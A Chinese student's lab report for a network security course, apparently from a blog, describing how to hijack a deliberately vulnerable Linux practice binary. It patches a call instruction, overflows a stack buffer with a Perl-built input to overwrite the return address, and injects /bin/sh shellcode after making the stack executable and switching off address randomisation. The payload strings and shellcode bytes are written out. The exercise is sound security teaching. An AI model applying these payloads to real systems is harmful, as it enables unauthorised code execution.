• NetSec2019 20165327 Exp1 PC平台逆向破解


    NetSec2019 20165327 Exp1 PC平台逆向破解

    一、实践目标

    本次实践的对象是一个名为pwn1(实验中用的
    是5327pwnx)的linux可执行文件。
    该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
    该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

    二、实践内容

    1、手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
    2、利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
    3、注入一个自己制作的shellcode并运行这段shellcode。

    这几种思路,基本代表现实情况中的攻击目标:

    1、运行原本不可访问的代码片段
    2、强行修改程序执行流
    3、以及注入运行任意代码。

    基础知识

    熟悉Linux基本操作能看懂常用指令,如管道(|),输入、输出重定向(>)等。

    理解Bof的原理。
    能看得懂汇编、机器指令、EIP、指令地址。

    会使用gdb,vi。

    三、实验步骤

    一、手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数

    输入指令objdump -d 5327pwn1 | more反汇编5327pwn1文件

    由图main函数中的call 8048491机器码为e8 d7 ff ff ff。foo函数的地址为08048491,getshell函数的地址为0804847d,通过计算其对应关系(小端机器)
    0x08048491 - 0x0804847d = 0x00000014 (计算地址差)
    0xffffffd7 - 0x00000014 = 0xffffffc3 (计算要修改的目标地址)
    输入指令vi 5327pwn1打开文件
    文件以ASCII码的形式出现
    输入 :%!xxd 通过调用命令行,将文件转换为16进制查看
    使用 /d7 命令寻找e8d7ffffff机器指令所在位置
    输入i进入插入模式,将d7修改为c3

    输入:%!xxd-r将文件转换为ASCII码形式(remember it!)输入:wq保存并退出

    此时输入指令objdump -d 5327pwn1 | more查看,可以发现5327pwn1文件已经被修改了

    运行5327pwn1文件和5327pwn0文件可看到攻击成功的效果图。

    二 、通过构造输入参数,造成BOF攻击,改变程序执行流

    5327pwn2正常运行是调用函数foo,但是这个函数有Bufferoverflow漏洞。系统只预留了一定字节的缓冲区给读入的字符串,超出部分会造成溢出,此实验目标是覆盖返回地址。尝试发现,当输入为以下字符时已经发生段错误,产生溢出。

    输入指令objdump -d 5327pwn2 查看,计算要达到缓冲区溢出说需要输入的字符数

    由图推测需要输入大约32字节接着对其验证

    打开一个终端进入gdb,输入字符串1111111122222222333333334444444412345555,观察一下各寄存器的值

    从上图可以看到eip寄存器中的值为0x34333231,对应字符串中的1234

    由此可见,如果输入字符串1111111122222222333333334444444412345555,那 1234 那四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getshell 的内存地址,输给5327pwn2,5327pwn2就会运行getshell。
    getshell函数的地址为:0x0804847d,由于输入字符串时是以ASCII码输入,因此要转换为x7dx84x04x08,并需要使用Perl语言构造文件(Perl是一门解释型语言,不需要预编译,可以在命令行上直接使用)。

    输入perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > BOF.1
    输入xxd BOF.1查看内容
    通过管道符|,作为5327pwn2的输入,格式为(cat BOF.1; cat ) | ./5327pwn2。

    三 、注入Shellcode并运行攻击

    原理:shellcode就是一段机器指令(code),通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。
    在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
    输入指令apt-get install execstack安装execstack

    并设置堆栈可执行:
    execstack -s pwn3 (设置堆栈可执行)
    execstack -q pwn3 (查询文件的堆栈是否可执行)

    关闭地址随机化(如果不关闭的话,每次操作esp的地址都会发生变化)
    more /proc/sys/kernel/randomize_va_space (查看随机化是否关闭)
    echo "0" > /proc/sys/kernel/randomize_va_space(关闭随机化)
    (“2”为开启,“0”为关闭)

    这时需要注入一段代码,我们首先构造一个input_shellcode:
    perl -e 'print "A" x 32;print "x4x3x2x1x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode

    在一个窗口运行(cat input_shellcode;cat) | ./5327pwn3

    在另外一个窗口ps -ef | grep pwn能看见当前运行5327pwn3的进程号为36054;

    在gdb里面attach 36054进行调试
    disassemble foo反编译
    可以看到ret指令的地址为0x080484ae,在此处设置断点break *0x080484ae

    在另一个终端按回车,这样程序就会执行之后在断点处停下来
    再在gdb调试的终端输入 c 继续运行程序
    info r esp查看esp寄存器地址
    通过x/16x 0xffffd2fc以16进制形式查看0xffffd2fc地址后面16字节的内容

    从上图中看到01020304所在的地址为0xffffd2fc,那么注入的shellcode代码的地址应该在该ret指令地址后四个字节的位置,即0xffffd2fc + 0x00000004 = 0xffffd300。随后退出gdb调试。
    修改注入代码的覆盖地址
    perl -e 'print "A" x 32;print"x00xd3xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode

    输入命令(cat input_shellcode;cat) | ./5327pwn3

    由图可见注入shellcode成功

    四、遇到的问题

    很弱智的问题,开始一时慌张无从下手,后来才知道根据提示直接走就行。

    五、实验收获与感想

    收获:周一看老师演示了一遍,一知半解,现在自己跟着教程走了一遍更加熟悉了一点。但是要想真正理解还需要继续探索。
    什么是漏洞?漏洞有什么危害?
    漏洞:潜在的危险区域。存在于计算机系统中(硬件、软件、数据库、网络……)的、可能对系统中的组成和数据等造成损害的一切因素。
    危害:对计算机:让程序、计算机无法正常运行甚至崩溃;对个人:使个人信息收到侵害,数据信息泄露、无法正常生活;对国家社会:使得国家安全收到威胁,社会治安得不到保证。

  • 相关阅读:
    WIN8.1安装 .net framework 3.5
    WIN8.1侧边栏文件夹删除
    初次接触Spring cloud微服务框架
    activiti中实现TaskListener注入Spring的bean
    spring中事务的回滚
    BeanUtils.copyProperties
    Java8新特性
    结构型模式总结
    创建型模式总结
    二十三种设计模式
  • 原文地址:https://www.cnblogs.com/yjtblog/p/10542687.html
Copyright © 2020-2023  润新知